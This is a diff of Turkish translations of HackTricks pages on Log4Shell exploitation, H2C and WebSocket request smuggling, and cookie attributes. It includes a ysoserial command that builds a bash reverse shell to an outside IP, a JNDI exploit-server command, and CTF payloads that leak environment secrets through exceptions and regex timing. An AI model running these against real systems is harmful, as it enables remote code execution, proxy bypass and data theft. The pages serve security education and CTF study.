Bu seçenek, yalnızca belirli sınıflara güvenen **Java sürümlerini hedef almak için gerçekten kullanışlıdır ve herkese güvenmez**. Bu nedenle, **ysoserial**, **güvenilen sınıfların serileştirilmesini oluşturmak için kullanılacaktır** ve bu, **keyfi kod yürütmek için kullanılabilecek aygıtlar olarak** (_ysoserial tarafından kötüye kullanılan güvenilen sınıf, saldırının çalışabilmesi için kurban java programı tarafından kullanılmalıdır_).
**ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak JNDI tarafından indirilecek deserializasyon saldırısını oluşturabilirsiniz:
**ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak JNDI tarafından indirilecek serileştirme saldırısını oluşturabilirsiniz:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Kullanarak [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanarak **JNDI bağlantıları** oluşturun, bu bağlantılar zafiyetli makinelerden gelen bağlantıları bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulan **farklı exploit'leri** veya hatta kendi **serileştirme yüklerinizi** (siz veya ysoserial tarafından oluşturulan) sunabilirsiniz.
Kullanarak [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)i kullanarak **JNDI bağlantıları** oluşturun, bu bağlantılar zafiyetli makinelerden gelen bağlantıları bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulan **farklı exploitları** sunabilir veya kendi deserializasyon yüklerinizi (siz veya ysoserial tarafından oluşturulan) sunabilirsiniz.
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
@ -351,17 +355,17 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Log4Shell Sızma Sonrası
## Log4Shell Sızma Sonrası Sömürü
Bu [**CTF yazısı**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) Log4J'nin bazı özelliklerinin potansiyel olarak **istismar edilebileceğini** iyi bir şekilde açıklıyor.
Bu [**CTF yazısı**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) potansiyel olarak **Log4J**'nin bazı özelliklerinin **istismar edilebileceğini** iyi bir şekilde açıklıyor.
Log4j'in [**güvenlik sayfası**](https://logging.apache.org/log4j/2.x/security.html) ilginç cümleler içeriyor:
> Java 8 için 2.16.0 sürümünden itibaren **mesaj aramaları özelliği tamamen kaldırılmıştır**. **Yapılandırmadaki aramalar hala çalışır**. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakır. Yapılandırmadaki JNDI aramalarının açık olması gerekmektedir.
> Java 8 için 2.16.0 sürümünden itibaren **mesaj aramaları özelliği tamamen kaldırılmıştır**. **Yapılandırmadaki aramalar hala çalışır**. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakır. Yapılandırmadaki JNDI aramalarının açık olması gerekir.
> 2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), **yapılandırmadaki yalnızca arama dizeleri özyinelemeli olarak genişletilir**; diğer herhangi bir kullanımda, yalnızca en üst düzey arama çözülür ve herhangi bir iç içe arama çözülmez.
> 2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), **yapılandırmadaki yalnızca arama dizeleri özyinelemeli olarak genişletilir**; diğer herhangi bir kullanımda, yalnızca üst düzey arama çözülür ve herhangi bir iç içe arama çözülmez.
Bu, varsayılan olarak herhangi bir `jndi` saldırısını **unutmanız gerektiği** anlamına gelir. Dahası, **özyinelemeli aramaları** gerçekleştirmek için bunları yapılandırmanız gerekmektedir.
Bu, varsayılan olarak herhangi bir `jndi` istismarını **kullanamayacağınızı** gösterir. Dahası, **özyinelemeli aramaları** gerçekleştirmek için bunları yapılandırmanız gerekir.
Örneğin, bu CTF'de log4j2.xml dosyasında şu şekilde yapılandırılmıştı:
```xml
@ -373,29 +377,29 @@ Bu, varsayılan olarak herhangi bir `jndi` saldırısını **unutmanız gerekti
### Ortam Aramaları
Bu [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) sırasında saldırgan `${sys:cmd}` değerini kontrol ediyordu ve bayrağı bir ortam değişkeninden dışarı çıkarması gerekiyordu.\
Bu sayfada [**önceki yüklerde**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) görüldüğü gibi, **`${env:FLAG}`** gibi farklı yollarla ortam değişkenlerine erişmek mümkündür. Bu CTF'de bu işe yaramadı ancak diğer gerçek hayat senaryolarında işe yarayabilir.
Bu sayfada [**önceki yüklerde**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) görüldüğü gibi, **`${env:FLAG}`** gibi farklı yollarla ortam değişkenlerine erişmek mümkündür. Bu CTF'de bu işe yaramadı ancak diğer gerçek senaryolarda işe yarayabilir.
### İstisnalarda Bilgi Dışa Aktarma
### İstisnalarda Dışarı Çıkarma
CTF'de, log4J kullanarak java uygulamasının stderr'ına erişilemiyordu, ancak Log4J **istisnaları stdout'a gönderiliyordu**, bu da python uygulamasında yazdırıldı. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışa aktarmak için bir istisna: **`${java:${env:FLAG}}`.** Bu, **`${java:CTF{blahblah}}`** mevcut olmadığı için çalışır ve bayrağın değeriyle bir istisna gösterilir:
CTF'de, log4J kullanarak java uygulamasının stderr'ına erişilemiyordu, ancak Log4J **istisnaları stdout'a gönderiliyordu**, bu da python uygulamasında yazdırılıyordu. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarı çıkarmak için bir istisna: **`${java:${env:FLAG}}`.** Bu, **`${java:CTF{blahblah}}`** mevcut olmadığı için çalışır ve bayrağın değeriyle bir istisna gösterilir:
![](<../../.gitbook/assets/image (157).png>)
### Dönüşüm Desenleri İstisnaları
Sadece belirtmek gerekirse, yeni [**dönüşüm desenleri**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) enjekte edebilir ve `stdout`'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:
Sadece belirtmek gerekirse, yeni [**dönüşüm desenleri**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) enjekte edebilir ve `stdout`'a kaydedilen istisnaları tetikleyebilirsiniz. Örneğin:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
Bu, hata mesajı içindeki tarihi dışa aktarmak için yararlı bulunmadı, çünkü arama, dönüşüm deseninden önce çözülmedi, ancak algılama gibi diğer şeyler için yararlı olabilir.
Bu, hata mesajı içindeki tarihi dışarı çıkarmak için yararlı bulunmadı, çünkü arama, dönüşüm deseninden önce çözülmedi, ancak algılama gibi diğer şeyler için yararlı olabilir.
### Dönüşüm Desenleri Regexler
Ancak, bazı **regexleri destekleyen dönüşüm desenleri** kullanarak bir aramadan bilgi dışa aktarmak mümkündür ve **ikili arama** veya **zamana dayalı** davranışları kötüye kullanabilirsiniz.
Ancak, bazı **regexleri destekleyen dönüşüm desenleri** kullanarak, **binary search** veya **zamana dayalı** davranışları kötüye kullanarak bir aramadan bilgi dışarı çıkarmak mümkündür.
* **İstisna mesajları aracılığıyla ikili arama**
* **İstisna mesajları aracılığıyla binary arama**
Dönüşüm deseni **`%replace`** bir **diziden içeriği değiştirmek** için hatta **regexler** kullanarak çalışabilir. Şöyle çalışır: `replace{pattern}{regex}{substitution}`\
Dönüşüm deseni **`%replace`**, **regexleri** kullanarak bir **dizgeden içeriği değiştirmeyi** sağlar. Şöyle çalışır: `replace{pattern}{regex}{substitution}`\
Bu davranışı kötüye kullanarak, eğer regex, dize içinde herhangi bir şeyi eşleşirse bir istisna tetikleyebilirsiniz (eğer bulunamazsa istisna olmaz) şu şekilde:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
@ -405,7 +409,7 @@ Bu davranışı kötüye kullanarak, eğer regex, dize içinde herhangi bir şey
* **Zamana bağlı**
Önceki bölümde belirtildiği gibi **`%replace`**, **regexleri** destekler. Bu nedenle, bayrağın bulunduğu durumda bir **zaman aşımı** oluşturmak için [**ReDoS sayfasından**](../regular-expression-denial-of-service-redos.md) bir yükleme kullanmak mümkündür.\
Örneğin, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` gibi bir yükleme, o CTF'de bir **zaman aşımı** tetikleyebilir.
Örneğin, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` gibi bir yükleme, o CTF'de bir **zaman aşımı** tetikleyecektir.
Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), bir ReDoS saldırısı yerine yanıtta bir zaman farkı oluşturmak için bir **amplifikasyon saldırısı** kullanıldı:
@ -426,7 +430,7 @@ Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2
> }{#}{######################################################}
> ```
>
> Eğer bayrak `flagGuess` ile başlıyorsa, tüm bayrak 29 `#` ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). **Sonuç olarak elde edilen 29 `#`'den her biri ardışık olarak 54 `#` ile değiştirilir**. Bu işlem **6 kez tekrarlanır**, toplamda ` 29*54*54^6* =`` `` `**`96816014208`** **`#` oluşur!**
> Eğer bayrak `flagGuess` ile başlıyorsa, tüm bayrak 29 `#` ile değiştirilir (Bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). **Sonuç olarak elde edilen 29 `#`'den her biri ardışık olarak 54 `#` ile değiştirilir**. Bu işlem **6 kez tekrarlanır**, toplamda ` 29*54*54^6* =`` `` `**`96816014208`** **`#` oluşur!**
>
> Bu kadar çok `#`'nin değiştirilmesi, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bunun sonucunda kullanıcıya HTTP durum kodu 500 gönderilecektir. (Eğer bayrak `flagGuess` ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)
@ -441,16 +445,22 @@ Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) tanışın
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarınızı paylaşarak [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destekleyin.
</details>

View file

@ -2,41 +2,51 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### H2C Kaçakçılığı <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
#### Açık Metin Üzerinden HTTP2 (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C veya **açık metin üzerinden http2**, standart bir HTTP **bağlantısını kalıcı bir bağlantıya yükselterek** geçici HTTP bağlantılarının normundan sapar. Bu yükseltilmiş bağlantı, sürekli iletişim için http2 ikili protokolünü kullanır, düz metin HTTP'nin tek istek doğasının aksine.
H2C veya **açık metin üzerinden http2**, geçici HTTP bağlantılarının normundan saparak standart bir HTTP bağlantısını **kalıcı bir bağlantıya yükseltir**. Bu yükseltilmiş bağlantı, düz metin HTTP'nin tek istek doğasına karşı, sürekli iletişim için http2 ikili protokolünü kullanır.
Kaçakçılık sorununun özü, bir **ters proxy**'nin kullanımıyla ortaya çıkar. Normalde, ters proxy HTTP isteklerini işler ve arka uca ileterek, ardından arka uçtan gelen yanıtı döndürür. Ancak, bir HTTP isteğinde `Connection: Upgrade` başlığı bulunduğunda (genellikle websocket bağlantılarıyla görülür), ters **proxy istemci ve sunucu arasında kalıcı bir bağlantı** sürdürür, belirli protokoller tarafından gereken sürekli değişimi kolaylaştırır. H2C bağlantıları için, RFC'ye uyum, üç belirli başlığın varlığını gerektirir:
Kaçakçılık sorununun özü, bir **ters proxy**'nin kullanımıyla ortaya çıkar. Normalde, ters proxy HTTP isteklerini işler ve arka uca ileterek, ardından arka uç yanıtını döndürür. Ancak, bir HTTP isteğinde `Connection: Upgrade` başlığı bulunduğunda (genellikle websocket bağlantılarıyla görülür), ters **proxy istemci ve sunucu arasında kalıcı bir bağlantı** sürdürür, belirli protokoller tarafından gereken sürekli değişimi kolaylaştırır. H2C bağlantıları için, RFC'ye uyum, üç belirli başlığın varlığını gerektirir:
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
### Zafiyetli Proxy'ler <a href="#exploitation" id="exploitation"></a>
### H2C Smuggling
Zafiyet, bir bağlantıyı yükselttikten sonra ters vekilin, yönlendirme işleminin bağlantı kurulduktan sonra tamamlandığını varsayarak bireysel istekleri yönetmeyi durdurması durumunda ortaya çıkar. H2C Smuggling'in sömürülmesi, başarılı bir H2C bağlantısı başlatıldığında, istek işleme sırasında uygulanan ters vekil kurallarını atlamayı sağlar, örneğin yol tabanlı yönlendirme, kimlik doğrulama ve WAF işleme.
Zafiyet, bir bağlantıyı yükselttikten sonra ters vekilin, yönlendirme işleminin bağlantı kurulduktan sonra tamamlandığını varsayarak bireysel istekleri yönetmeyi durdurması durumunda ortaya çıkar. H2C Smuggling'in sömürülmesi, başarılı bir H2C bağlantısı başlatıldığında, istek işleme sırasında uygulanan ters vekil kurallarını atlamayı sağlar; bu kurallar arasında yol tabanlı yönlendirme, kimlik doğrulama ve WAF işleme bulunmaktadır.
Zafiyetli Proxy'lerin `Upgrade` ve bazen `Connection` başlıklarını nasıl işlediğine bağlıdır. Aşağıdaki proxy'ler bu başlıkları varsayılan olarak iletir ve böylece H2C smuggling'i varsayılan olarak etkinleştirir:
#### Zafiyetli Vekiller <a href="#exploitation" id="exploitation"></a>
Zafiyet, ters vekilin `Upgrade` ve bazen `Connection` başlıklarını nasıl işlediğine bağlıdır. Aşağıdaki vekiller, proxy geçişi sırasında bu başlıkları doğal olarak ileten ve böylece H2C smuggling'i doğal olarak etkinleştiren vekillerdir:
- HAProxy
- Traefik
- Nuster
Bununla birlikte, aşağıdaki hizmetler bu başlıkları varsayılan olarak iletmez. Ancak, güvensiz bir şekilde yapılandırılmış olabilirler ve `Upgrade` ve `Connection` başlıklarını filtresiz olarak iletmeye izin verebilirler:
Öte yandan, aşağıdaki hizmetler, proxy geçişi sırasında her iki başlığı da doğal olarak iletmemektedir. Bununla birlikte, `Upgrade` ve `Connection` başlıklarının filtresiz iletilmesine izin veren güvensiz şekilde yapılandırılmış olabilirler:
- AWS ALB/CLB
- NGINX
@ -47,14 +57,57 @@ Bununla birlikte, aşağıdaki hizmetler bu başlıkları varsayılan olarak ile
- Envoy
- Apache Traffic Server
### Sömürü <a href="#exploitation" id="exploitation"></a>
#### Sömürü <a href="#exploitation" id="exploitation"></a>
Önemli olan şudur ki, uyumlu bir H2C bağlantı yükseltmesi için gereken başlıkları varsayılan olarak ileten tüm sunucuların olmadığıdır. Bu nedenle, AWS ALB/CLB, NGINX ve Apache Traffic Server gibi sunucular, H2C bağlantılarını doğal olarak engeller. Bununla birlikte, bazı arka uçların standartlara uymayabileceği için, uyumsuz `Connection: Upgrade` varyantı ile test etmek faydalı olabilir.
Uyumlu bir H2C bağlantı yükseltmesi için gereken başlıkları doğal olarak ileten tüm sunucuların olmadığını belirtmek önemlidir. Bu nedenle, AWS ALB/CLB, NGINX ve Apache Traffic Server gibi sunucular, H2C bağlantılarını doğal olarak engeller. Bununla birlikte, bazı arka uçların standartlara uymayabileceği için, uyumsuz `Connection: Upgrade` varyantı ile test etmek yararlı olabilir.
{% hint style="danger" %}
`proxy_pass` URL'sinde belirtilen belirli **yol** (örneğin, `http://backend:9999/socket.io`) varsayılan olarak `http://backend:9999` olarak belirlenir. Bu, bu tekniği kullanarak bu dahili uç noktadaki herhangi bir yolla etkileşime izin verir. Sonuç olarak, `proxy_pass` URL'sinde bir yol belirtmek erişimi kısıtlamaz.
`proxy_pass` URL'sinde belirtilen belirli **yol** (örneğin, `http://backend:9999/socket.io`) bağlantının varsayılan olarak `http://backend:9999` olmasına neden olur. Bu, bu tekniği kullanarak dahili uç noktadaki herhangi bir yola etkileşim sağlar. Dolayısıyla, `proxy_pass` URL'sinde bir yol belirtmek erişimi kısıtlamaz.
{% endhint %}
[**BishopFox tarafından h2csmuggler**](https://github.com/BishopFox/h2csmuggler) ve [**assetnote tarafından h2csmuggler**](https://github.com/assetnote/h2csmuggler) araçları, bir H2C bağlantısı kurarak **proxy tarafından uygulanan korumaları atlamaya** yönelik girişimleri kolaylaştırır ve bu sayede proxy tarafından korunan kaynaklara erişimi sağlar.
[**BishopFox tarafından h2csmuggler**](https://github.com/BishopFox/h2csmuggler) ve [**assetnote tarafından h2csmuggler**](https://github.com/assetnote/h2csmuggler) araçları, H2C bağlantısı kurarak **proxy tarafından uygulanan korumaları atlamaya** yönelik girişimleri kolaylaştırır ve bu sayede proxy tarafından korunan kaynaklara erişim sağlar.
Bu zafiyetle ilgili daha fazla bilgi için özellikle NGINX hakkında [**bu detaylı kaynağa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection) başvurun.
## Websocket Smuggling
Websocket smuggling, bir HTTP2 tüneli oluşturmanın aksine, bir Websocket tüneli kurarak potansiyel proxy kısıtlamalarını atlamayı ve uca doğrudan iletişim sağlamayı amaçlar.
### Senaryo 1
Bu senaryoda, bir iç REST API'ye erişilemeyen bir arka uç, bir halka açık WebSocket API sunmaktadır ve kötü niyetli bir istemcinin iç REST API'ye erişim arayışında hedef alınmaktadır. Saldırı şu adımlarda gerçekleşir:
1. İstemci, başlıkta yanlış bir `Sec-WebSocket-Version` protokol sürümü ile bir Upgrade isteği göndererek ters vekile başlar. Ters vekil, `Sec-WebSocket-Version` başlığını doğrulayamadığı için Upgrade isteğini geçerli olarak kabul eder ve arka uca iletilmesini sağlar.
2. Arka uç, `Sec-WebSocket-Version` başlığındaki yanlış protokol sürümünü belirten `426` durum kodu ile yanıt verir. Ters vekil, arka ucun yanıt durumunu göz ardı ederek WebSocket iletişimi için hazır olduğunu varsayar ve yanıtı istemciye iletir.
3. Sonuç olarak, ters vekil, istemci ile arka uç arasında bir WebSocket bağlantısı kurulmuş gibi yanıltılırken, aslında arka uç, Upgrade isteğini reddetmiştir. Bununla birlikte, vekil, istemci ile arka uç arasında açık bir TCP veya TLS bağlantısını sürdürür ve istemcinin bu bağlantı aracılığıyla özel REST API'ye kısıtlamasız erişim sağlamasına olanak tanır.
Etkilenen ters vekiller arasında, sorunu ele almaktan kaçınan Varnish ve Envoy proxy sürümü 1.8.0 veya daha eski olanlar, daha sonraki sürümlerde yükseltme mekanizmasını değiştirmiş olmalarına rağmen, bulunmaktadır. Diğer vekiller de savunmasız olabilir.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
### Senaryo 2
Bu senaryo, hem halka açık bir WebSocket API hem de bir sağlık kontrolü için halka açık bir REST API'ye sahip bir arka uçu içerir ve bir iç REST API'ye erişilemeyen bir arka uç hedef alınır. Daha karmaşık olan saldırı, aşağıdaki adımları içerir:
1. İstemci, sağlık kontrol API'sini tetiklemek için bir POST isteği gönderirken, ek bir HTTP başlık olan `Upgrade: websocket`i içerir. Ters vekil olarak hizmet veren NGINX, yalnızca `Upgrade` başlığına dayanarak bu isteği standart bir Upgrade isteği olarak yorumlar ve isteğin diğer yönlerini göz ardı eder ve arka uca iletir.
2. Arka uç, sağlık kontrol API'sini yürütürken, saldırgan tarafından kontrol edilen bir harici kaynağa ulaşır ve `101` durum kodu ile bir HTTP yanıtı döndürür. Bu yanıt, arka uca ulaştığında ve NGINX'e iletilirken, yalnızca durum kodunu doğruladığı için vekili, bir WebSocket bağlantısının kurulduğuna inandırır.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **Uyarı:** Bu tekniğin karmaşıklığı, genellikle düşük önem derecesi olarak kabul edilen bir dış SSRF zafiyetinin varlığını gerektirmesi nedeniyle artar.
Sonuç olarak, NGINX, istemci ile arka uç arasında bir WebSocket bağlantısı olduğuna inanır. Aslında böyle bir bağlantı yoktur; sağlık kontrol REST API'si hedef alınmıştır. Bununla birlikte, ters vekil bağlantıyıık tutar ve istemcinin bu aracılığıyla özel REST API'ye erişmesine olanak tanır.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
Çoğu ters vekil bu senaryoya karşı savunmasız olabilir, ancak sömürü, genellikle düşük önem derecesi olarak kabul edilen bir dış SSRF zafiyetinin varlığına bağlıdır.
#### Lablar
Her iki senaryoyu test etmek için lablara [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) adresinden erişebilirsiniz.
### Referanslar
- [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
- [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
- [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)

View file

@ -2,47 +2,56 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Çerez Özellikleri
Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellikle birlikte gelir. İşte bu özelliklerin bir özetini daha pasif bir sesle açıklayanlar:
Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellikle birlikte gelir. İşte bu özelliklerin daha pasif bir sesle açıklaması:
### Expires ve Max-Age
### Son Kullanma Tarihi ve Max-Age
Bir çerezin son kullanma tarihi, `Expires` özelliği tarafından belirlenir. Buna karşılık, `Max-age` özelliği bir çerezin silineceği süreyi saniye cinsinden tanımlar. **Daha modern uygulamaları yansıttığı için `Max-age`'i tercih edin.**
### Domain
### Alan
Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir. Varsayılan olarak, bu, çerezi veren ana bilgisayara ayarlanır, alt alanlarını içermez. Ancak, `Domain` özelliği açıkça belirlendiğinde, alt alanları da kapsar. Bu, `Domain` özelliğinin belirtilmesini, alt alanlar arasında çerez paylaşımının gerektiği senaryolar için daha az kısıtlayıcı bir seçenek haline getirir. Örneğin, `Domain=mozilla.org` ayarlanarak, çerezlerin `developer.mozilla.org` gibi alt alanlarda erişilebilir olmasını sağlar.
Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir. Varsayılan olarak, bu, çerezi veren ana bilgisayar olarak ayarlanır, alt alanlarını içermez. Ancak, `Domain` özelliği açıkça belirlendiğinde, alt alanları da kapsar. Bu, `Domain` özelliğinin belirtilmesini, alt alanlar arasında çerez paylaşımının gerektiği senaryolar için kullanışlı daha az kısıtlayıcı bir seçenek yapar. Örneğin, `Domain=mozilla.org` ayarlanarak, çerezlerin `developer.mozilla.org` gibi alt alanlarda erişilebilir olmasını sağlar.
### Path
### Yol
`Path` özelliği, gönderilen URL'de bulunması gereken belirli bir URL yolunu gösterir. Bu özellik, `/` karakterini bir dizin ayırıcı olarak kabul eder, alt dizinlerde eşleşmelere izin verir.
### Sıralama Kuralları
